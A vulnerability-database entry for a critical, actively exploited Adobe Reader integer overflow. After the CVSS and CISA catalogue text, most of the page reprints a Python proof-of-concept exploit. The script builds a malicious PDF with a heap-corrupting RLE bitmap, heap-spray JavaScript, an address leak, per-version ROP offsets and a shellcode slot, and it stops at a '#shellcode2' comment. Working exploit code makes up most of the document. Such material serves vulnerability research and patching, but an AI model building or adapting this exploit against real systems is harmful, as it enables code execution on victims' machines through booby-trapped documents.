Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-190 |
Integer Overflow or Wraparound The product performs a calculation that can
produce an integer overflow or wraparound when the logic
assumes that the resulting value will always be larger than
the original value. This occurs when an integer value is
incremented to a value that is too large to store in the
associated representation. When this occurs, the value may
become a very small or negative number. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-03-27 22h00 +00:00
Action is due : 2022-04-17 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 26703
Publication date : 2013-07-07 22h00 +00:00
Author : feliam
EDB Verified : No
'''
Title: Adobe Reader X BMP/RLE heap corruption
Product: Adobe Reader X
Version: 10.x
Product Homepage: adobe.com
Binary affected: AcroForm.api
Binary Version: 10.1.4.38
Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841
Configuration Requirements
-----------------------------------------
Default configuration.
Vulnerability Requirements
-----------------------------------------
None.
Vulnerability Description
-----------------------------------------
Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow.
Vulnerability WorkAround (if possible)
-----------------------------------------
Delete AcroForm.api
'''
from hashlib import md5
import sys, struct
######### Begin of the miniPDF
import zlib
#For constructing a minimal pdf file
## PDF REference 3rd edition:: 3.2 Objects
class PDFObject:
def __init__(self):
self.n=None
self.v=None
def __str__(self):
raise Exception("Fail")
## PDF REference 3rd edition:: 3.2.1 Booleans Objects
class PDFBool(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
self.s=s
def __str__(self):
if self.s:
return "true"
return "false"
## PDF REference 3rd edition:: 3.2.2 Numeric Objects
class PDFNum(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
self.s=s
def __str__(self):
return "%s"%self.s
## PDF REference 3rd edition:: 3.2.3 String Objects
class PDFString(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
self.s=s
def __str__(self):
return "(%s)"%self.s
## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings
class PDFHexString(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
self.s=s
def __str__(self):
return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"
## A convenient type of literal Strings
class PDFOctalString(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
self.s="".join(["\\%03o"%ord(c) for c in s])
def __str__(self):
return "(%s)"%self.s
## PDF REference 3rd edition:: 3.2.4 Name Objects
class PDFName(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
self.s=s
def __str__(self):
return "/%s"%self.s
## PDF REference 3rd edition:: 3.2.5 Array Objects
class PDFArray(PDFObject):
def __init__(self,s):
PDFObject.__init__(self)
assert type(s) == type([])
self.s=s
def append(self,o):
self.s.append(o)
return self
def __str__(self):
return "[%s]"%(" ".join([ o.__str__() for o in self.s]))
## PDF REference 3rd edition:: 3.2.6 Dictionary Objects
class PDFDict(PDFObject):
def __init__(self, d={}):
PDFObject.__init__(self)
self.dict = {}
for k in d:
self.dict[k]=d[k]
def __iter__(self):
for k in self.dict.keys():
yield k
def __iterkeys__(self):
for k in self.dict.keys():
yield k
def __getitem__(self, key):
return self.dict[key]
def add(self,name,obj):
self.dict[name] = obj
def get(self,name):
if name in self.dict.keys():
return self.dict[name]
else:
return None
def __str__(self):
s="<<"
for name in self.dict:
s+="%s %s "%(PDFName(name),self.dict[name])
s+=">>"
return s
## PDF REference 3rd edition:: 3.2.7 Stream Objects
class PDFStream(PDFDict):
def __init__(self,d={},stream=""):
PDFDict.__init__(self,d)
self.stream=stream
self.filtered=self.stream
self.add('Length', len(stream))
self.filters = []
def appendFilter(self, filter):
self.filters.append(filter)
self._applyFilters() #yeah every time .. so what!
def _applyFilters(self):
self.filtered = self.stream
for f in self.filters:
self.filtered = f.encode(self.filtered)
if len(self.filters)>0:
self.add('Length', len(self.filtered))
self.add('Filter', PDFArray([f.name for f in self.filters]))
#Add Filter parameters ?
def __str__(self):
self._applyFilters() #yeah every time .. so what!
s=""
s+=PDFDict.__str__(self)
s+="\nstream\n"
s+=self.filtered
s+="\nendstream"
return s
## PDF REference 3rd edition:: 3.2.8 Null Object
class PDFNull(PDFObject):
def __init__(self):
PDFObject.__init__(self)
def __str__(self):
return "null"
## PDF REference 3rd edition:: 3.2.9 Indirect Objects
class UnResolved(PDFObject):
def __init__(self,n,v):
PDFObject.__init__(self)
self.n=n
self.v=v
def __str__(self):
return "UNRESOLVED(%d %d)"%(self.n,self.v)
class PDFRef(PDFObject):
def __init__(self,obj):
PDFObject.__init__(self)
self.obj=[obj]
def __str__(self):
if len(self.obj)==0:
return "null"
return "%d %d R"%(self.obj[0].n,self.obj[0].v)
## PDF REference 3rd edition:: 3.3 Filters
## Example Filter...
class FlateDecode:
name = PDFName('FlateDecode')
def __init__(self):
pass
def encode(self,stream):
return zlib.compress(stream)
def decode(self,stream):
return zlib.decompress(stream)
## PDF REference 3rd edition:: 3.4 File Structure
## Simplest file structure...
class PDFDoc():
def __init__(self,obfuscate=0):
self.objs=[]
self.info=None
self.root=None
def setRoot(self,root):
self.root=root
def setInfo(self,info):
self.info=info
def _add(self,obj):
if obj.v!=None or obj.n!=None:
raise Exception("Already added!!!")
obj.v=0
obj.n=1+len(self.objs)
self.objs.append(obj)
def add(self,obj):
if type(obj) != type([]):
self._add(obj);
else:
for o in obj:
self._add(o)
def _header(self):
return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n"
def __str__(self):
doc1 = self._header()
xref = {}
for obj in self.objs:
xref[obj.n] = len(doc1)
doc1+="%d %d obj\n"%(obj.n,obj.v)
doc1+=obj.__str__()
doc1+="\nendobj\n"
posxref=len(doc1)
doc1+="xref\n"
doc1+="0 %d\n"%(len(self.objs)+1)
doc1+="0000000000 65535 f \n"
for xr in xref.keys():
doc1+= "%010d %05d n \n"%(xref[xr],0)
doc1+="trailer\n"
trailer = PDFDict()
trailer.add("Size",len(self.objs)+1)
if self.root == None:
raise Exception("Root not set!")
trailer.add("Root",PDFRef(self.root))
if self.info:
trailer.add("Info",PDFRef(self.info))
doc1+=trailer.__str__()
doc1+="\nstartxref\n%d\n"%posxref
doc1+="%%EOF"
return doc1
######### End of miniPDF
SLIDESIZE=0x12C
def mkBMP(payload, exception=True):
bmp = ''
#getInfoHeader
bfType = 0x4d42
assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp
bmp += struct.pack('<H', bfType)
bfSize = 0
bfOffBits = 0
bmp += struct.pack('<L', bfSize)
bmp += struct.pack('<H', 0) #Reserved1
bmp += struct.pack('<H', 0) #Reserved2
bmp += struct.pack('<L', bfOffBits)
biSize = 0x40
assert not biSize in [0x12]
bmp += struct.pack('<L', biSize)
biHeight = 1
biWidth = SLIDESIZE #size of texture structure LFH enabled
biPlanes = 1
biBitCount = 8
biCompression = 1
biSizeImage = 0
biXPelsPerMeter = 0
biYPelsPerMeter = 0
biClrUsed = 2
if biClrUsed >0xff:
raise "BUG!!!!"
biClrImportant = 0
bmp += struct.pack('<L', biWidth)
bmp += struct.pack('<L', biHeight)
bmp += struct.pack('<H', biPlanes)
bmp += struct.pack('<H', biBitCount)
bmp += struct.pack('<L', biCompression)
bmp += struct.pack('<L', biSizeImage)
bmp += struct.pack('<L', biXPelsPerMeter)
bmp += struct.pack('<L', biYPelsPerMeter)
bmp += struct.pack('<L', biClrUsed)
bmp += struct.pack('<L', biClrImportant)
bmp += 'A'*(biSize-0x40) #pad
numColors=biClrUsed
if biClrUsed == 0 or biBitCount < 8:
numColors = 1<<biBitCount;
bmp += 'RGBA'*(numColors) #pallete
bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff)
#while (len(bmp)+10)%0x400 != 0:
# bmp += '\x00\x02\x00\x00'
assert len(payload) < 0x100 and len(payload) >= 3
bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00'
bmp += '\x00'+chr(len(payload))+payload
if len(payload)&1 :
bmp += 'P'
if exception:
bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception
bmp += '\x00'+chr(10)+'X'*10
else:
bmp += '\x00\x01'
#'\x04X'*(biWidth+2000)+"\x00\x02"
return bmp
def UEncode(s):
r = ''
s += '\x00'*(len(s)%2)
for i in range(0,len(s),2):
r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0])
return r
r = ''
for c in s:
r+= '%%%02x'%ord(c)
return r
def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'):
xdp = '''
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7">
<template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
<?formServer defaultPDFRenderFormat acrobat9.1static?>
<?formServer allowRenderCaching 0?>
<?formServer formModel both?>
<subform name="form1" layout="tb" locale="en_US" restoreState="auto">
<pageSet>
<pageArea name="Page1" id="Page1">
<contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
<medium stock="default" short="612pt" long="792pt"/>
<?templateDesigner expand 1?>
</pageArea>
<?templateDesigner expand 1?>
</pageSet>
<variables>
<script name="util" contentType="application/x-javascript">
// Convenience functions to pack and unpack litle endian an utf-16 strings
function pack(i){
var low = (i & 0xffff);
var high = ((i>>16) & 0xffff);
return String.fromCharCode(low)+String.fromCharCode(high);
}
function unpackAt(s, pos){
return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
}
function packs(s){
result = "";
for (i=0;i<s.length;i+=2)
result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8));
return result;
}
function packh(s){
return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));
}
function packhs(s){
result = "";
for (i=0;i<s.length;i+=4)
result += packh(s.slice(i,i+4));
return result;
}
var verbose = 1;
function message(x){
if (util.verbose == 1 )
xfa.host.messageBox(x);
}
//ROP0
//7201E63D XCHG EAX,ESP
//7201E63E RETN
//ROP1
//7200100A JMP DWORD PTR DS:[KERNEL32.GetModuleHandle]
//ROP2
//7238EF5C PUSH EAX
//7238EF5D CALL DWORD PTR DS:[KERNEL32.GetProcAddress]
//7238EF63 TEST EAX,EAX
//7238EF65 JNE SHORT 7238EF84
//7238EF84 POP EBP
//7238EF85 RETN 4
//ROP3
//72001186 JMP EAX ; kernel32.VirtualProtect
//ROP4
//72242491 ADD ESP,70
//72242494 RETN
var _offsets = {'Reader": { "10.104": {
"acrord32": 0xA4,
"rop0": 0x1E63D,
"rop1": 0x100A,
"rop2": 0x38EF5C,
"rop3": 0x1186,
"rop4": 0x242491,
},
"10.105": { // Added by Eddie Mitchell
"acrord32": 0xA5,
"rop0": 0x1E52D,
"rop1": 0x100A,
"rop2": 0x393526,
"rop3": 0x1186,
"rop4": 0x245E71,
},
"10.106": { // Added by Eddie Mitchell
"acrord32": 0xA5,
"rop0": 0x1E52D,
"rop1": 0x100A,
"rop2": 0x393526,
"rop3": 0x1186,
"rop4": 0x245E71,
},
},
"Exchange-Pro": {
"10.105": { // Added by Eddie Mitchell
"acrobat": 0xCD,
"rop0": 0x3720D,
"rop1": 0x100A,
"rop2": 0x3DCC91,
"rop3": 0x180F,
"rop4": 0x25F2A1,
},
},
};
function offset(x){
//app.viewerType will be "Reader" for Reader,
//"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro
try {
return _offsets[app.viewerType][app.viewerVersion][x];
}
catch (e) {
xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!");
}
return 0x41414141;
}
</script>
<script name="spray" contentType="application/x-javascript">
// Global variable for spraying
var slide_size=%%SLIDESIZE%%;
var size = 200;
var chunkx = "%%MINICHUNKX%%";
var x = new Array(size);
var y = new Array(size);
var z = new Array(size);
var pointers = new Array(100);
var done = 0;
</script>
<?templateDesigner expand 1?>
</variables>
<subform w="576pt" h="756pt">
<!-- This image fiel hold the cashing image -->
<field name="ImageCrash">
<ui> <imageEdit/> </ui>
<value>
<image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image>
</value>
</field>
</subform>
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
// This script runs at the very beginning and
// is used to prepare the memory layout
util.message("Initialize");
var i; var j;
if (spray.done == 0){
//Trigger LFH use
var TOKEN = "\u5858\u5858\u5678\u1234";
var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);
for (i=0; i < spray.size; i+=1)
spray.x[i] = TOKEN + util.pack(i) +
spray.chunkx.substring(0, chunk_len) +
util.pack(i) + "";
util.message("Initial spray done!");
for (j=0; j < size; j++)
for (i=spray.size-1; i > spray.size/4; i-=10)
spray.x[i]=null;
spray.done = 1;
util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
}
// After this the form layout is rendered and the bug triggered
</script>
</event>
<event activity="docReady" ref="$host" name="event__docReady">
<script contentType="application/x-javascript">
// This script runs once the page is ready
util.message("DocReady");
var i; var j;
var found = -1; // Index of the overlapped string
var acro = 0; // Base of the AcroRd32_dll
// Search over all strings for the first one with the broken TOKEN
for (i=0; i < spray.size; i+=1)
if ((spray.x[i]!=null) && (spray.x[i][0] != "\u5858")){
found = i;
acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16;
util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) );
break;
}
// Behaviour is mostly undefined if not found
if (found == -1){
util.message("Corrupted String NOT Found!");
event.target.closeDoc(true);
}
// Corrupted string was found let's generates the new
// string for overlapping the struct before freeing it
var chunky = "";
for (i=0; i < 7; i+=1)
chunky += util.pack(0x41414141);
chunky += util.pack(0x10101000);
while (chunky.length < spray.slide_size/2)
chunky += util.pack(0x58585858);
// Free the overlapping string
util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")");
for (j=0; j < 100000; j++)
spray.x[found-1]=spray.x[found]=null;
// Trigger several allocs that will fall over the structure
for (i=0; i < 200; i+=1){
ID = "" + i;
spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
}
util.message("Allocated 20 chunks-y\\n");
// Heap spraying make's baby jesus cry!
// Construct the 0x1000 small chunk for spraying
var obj = 0x10101000;
var pointer_slide = "";
pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret
for (i=0; i < 27; i+=1)
pointer_slide += util.pack(0x41414141);
obj += pointer_slide.length*2;
// ROP
pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret
pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule
pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress
pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32
//@0x10
pointer_slide += util.pack(obj+0xCC);
pointer_slide += util.pack(0x43434343); // POPPED TO EBP
pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX
pointer_slide += util.pack(obj); //Points to offset 0 of this
//@0x20
pointer_slide += util.pack(obj+0x38);
pointer_slide += util.pack(obj+0x38);
pointer_slide += util.pack(0x1000); //SIZE_T dwSize,
pointer_slide += util.pack(0x40); // DWORD flNewProtect,
//0x30
pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect
pointer_slide += util.pack(0x00000000); //DWORD OldProtect
pointer_slide += util.packhs("E9B1000000909090");
//0x40
pointer_slide += util.pack(acro); //Used by next stage
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
//0x50
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
//0x60
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.pack(0xCCCCCCCC);
//0x70
pointer_slide += util.pack(acro);
pointer_slide += util.pack(0x48484848);
pointer_slide += util.pack(0x49494949);
pointer_slide += util.pack(0x49494949);
//0x80
pointer_slide += util.pack(0x49494949);
pointer_slide += util.pack(0x50505050);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
//0x90
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
//0xa0
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
//0xb0
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
//0xc0
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0x46464646);
pointer_slide += util.pack(0xCCCCCCCC);
pointer_slide += util.packs("VirtualProtect"); //@0xCC
pointer_slide += "\u0000";
pointer_slide += "KERNEL32";
pointer_slide += "\u0000";
pointer_slide += "%%SHELLCODE%%";
while (pointer_slide.length < 0x1000/2)
pointer_slide += util.pack(0x41414141);
pointer_slide = pointer_slide.substring(0,0x1000/2);
util.message("Pointer slide size: " + pointer_slide.length);
// And now ensure it gets bigger than 0x100000 bytes
while (pointer_slide.length < 0x100000/2)
pointer_slide += pointer_slide;
// And the actual spray
for (i=0; i < 100; i+=1)
spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";
// Everything done here close the doc and
// trigger the use of the vtable
util.message("Now what?");
var pdfDoc = event.target;
pdfDoc.closeDoc(true);
</script>
</event>
</subform>
<?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?>
<?templateDesigner DefaultLanguage JavaScript?>
<?templateDesigner DefaultRunAt client?>
<?acrobat JavaScript strictScoping?>
<?PDFPrintOptions embedViewerPrefs 0?>
<?PDFPrintOptions embedPrintOnFormOpen 0?>
<?PDFPrintOptions scalingPrefs 0?>
<?PDFPrintOptions enforceScalingPrefs 0?>
<?PDFPrintOptions paperSource 0?>
<?PDFPrintOptions duplexMode 0?>
<?templateDesigner DefaultPreviewType interactive?>
<?templateDesigner DefaultPreviewPagination simplex?>
<?templateDesigner XDPPreviewFormat 19?>
<?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
<?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
<?templateDesigner Zoom 119?>
<?templateDesigner FormTargetVersion 30?>
<?templateDesigner SaveTaggedPDF 1?>
<?templateDesigner SavePDFWithEmbeddedFonts 1?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template>
<config xmlns="http://www.xfa.org/schema/xci/3.0/">
<agent name="designer">
<!-- [0..n] -->
<destination>pdf</destination>
<pdf>
<!-- [0..n] -->
<fontInfo/>
</pdf>
</agent>
<present>
<!-- [0..n] -->
<pdf>
<!-- [0..n] -->
<version>1.7</version>
<adobeExtensionLevel>5</adobeExtensionLevel>
</pdf>
<common/>
<xdp>
<packets>*</packets>
</xdp>
</present>
</config>
<localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/">
<locale name="en_US" desc="English (United States)">
<calendarSymbols name="gregorian">
<monthNames>
<month>January</month>
<month>February</month>
<month>March</month>
<month>April</month>
<month>May</month>
<month>June</month>
<month>July</month>
<month>August</month>
<month>September</month>
<month>October</month>
<month>November</month>
<month>December</month>
</monthNames>
<monthNames abbr="1">
<month>Jan</month>
<month>Feb</month>
<month>Mar</month>
<month>Apr</month>
<month>May</month>
<month>Jun</month>
<month>Jul</month>
<month>Aug</month>
<month>Sep</month>
<month>Oct</month>
<month>Nov</month>
<month>Dec</month>
</monthNames>
<dayNames>
<day>Sunday</day>
<day>Monday</day>
<day>Tuesday</day>
<day>Wednesday</day>
<day>Thursday</day>
<day>Friday</day>
<day>Saturday</day>
</dayNames>
<dayNames abbr="1">
<day>Sun</day>
<day>Mon</day>
<day>Tue</day>
<day>Wed</day>
<day>Thu</day>
<day>Fri</day>
<day>Sat</day>
</dayNames>
<meridiemNames>
<meridiem>AM</meridiem>
<meridiem>PM</meridiem>
</meridiemNames>
<eraNames>
<era>BC</era>
<era>AD</era>
</eraNames>
</calendarSymbols>
<datePatterns>
<datePattern name="full">EEEE, MMMM D, YYYY</datePattern>
<datePattern name="long">MMMM D, YYYY</datePattern>
<datePattern name="med">MMM D, YYYY</datePattern>
<datePattern name="short">M/D/YY</datePattern>
</datePatterns>
<timePatterns>
<timePattern name="full">h:MM:SS A Z</timePattern>
<timePattern name="long">h:MM:SS A Z</timePattern>
<timePattern name="med">h:MM:SS A</timePattern>
<timePattern name="short">h:MM A</timePattern>
</timePatterns>
<dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols>
<numberPatterns>
<numberPattern name="numeric">z,zz9.zzz</numberPattern>
<numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern>
<numberPattern name="percent">z,zz9%</numberPattern>
</numberPatterns>
<numberSymbols>
<numberSymbol name="decimal">.</numberSymbol>
<numberSymbol name="grouping">,</numberSymbol>
<numberSymbol name="percent">%</numberSymbol>
<numberSymbol name="minus">-</numberSymbol>
<numberSymbol name="zero">0</numberSymbol>
</numberSymbols>
<currencySymbols>
<currencySymbol name="symbol">$</currencySymbol>
<currencySymbol name="isoname">USD</currencySymbol>
<currencySymbol name="decimal">.</currencySymbol>
</currencySymbols>
<typefaces>
<typeface name="Myriad Pro"/>
<typeface name="Minion Pro"/>
<typeface name="Courier Std"/>
<typeface name="Adobe Pi Std"/>
<typeface name="Adobe Hebrew"/>
<typeface name="Adobe Arabic"/>
<typeface name="Adobe Thai"/>
<typeface name="Kozuka Gothic Pro-VI M"/>
<typeface name="Kozuka Mincho Pro-VI R"/>
<typeface name="Adobe Ming Std L"/>
<typeface name="Adobe Song Std L"/>
<typeface name="Adobe Myungjo Std M"/>
</typefaces>
</locale>
<?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data xfa:dataNode="dataGroup"/>
</xfa:datasets>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26 ">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about="">
<xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate>
<xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool>
<xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate>
<xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate>
</rdf:Description>
<rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about="">
<pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer>
</rdf:Description>
<rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about="">
<xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID>
<xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID>
</rdf:Description>
<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about="">
<dc:format>application/pdf</dc:format>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
<annots/>
</xfdf></xdp:xdp>
'''
assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry"
#shellcode
xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode))
xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE);
xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE))
xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64'))
#xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64'))
file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp)
#The document
doc = PDFDoc()
#font
font = PDFDict()
font.add("Name", PDFName("F1"))
font.add("Subtype", PDFName("Type1"))
font.add("BaseFont", PDFName("Helvetica"))
#name:font map
fontname = PDFDict()
fontname.add("F1",font)
#resources
resources = PDFDict()
resources.add("Font",fontname)
#contents
contentsDict = PDFDict()
contents= PDFStream(contentsDict, '''BT
/F1 24 Tf
100 100 Td
(Pedefe Pedefeito Pedefeon!) Tj
ET''')
#page
page = PDFDict()
page.add("Type",PDFName("Page"))
page.add("Resources",resources)
page.add("Contents", PDFRef(contents))
#pages
pages = PDFDict()
pages.add("Type", PDFName("Pages"))
pages.add("Kids", PDFArray([PDFRef(page)]))
pages.add("Count", PDFNum(1))
#add parent reference in page
page.add("Parent",PDFRef(pages))
xfa = PDFStream(PDFDict(), xdp)
xfa.appendFilter(FlateDecode())
doc.add(xfa)
#form
form = PDFDict()
form.add("XFA", PDFRef(xfa))
doc.add(form)
#shellcode2
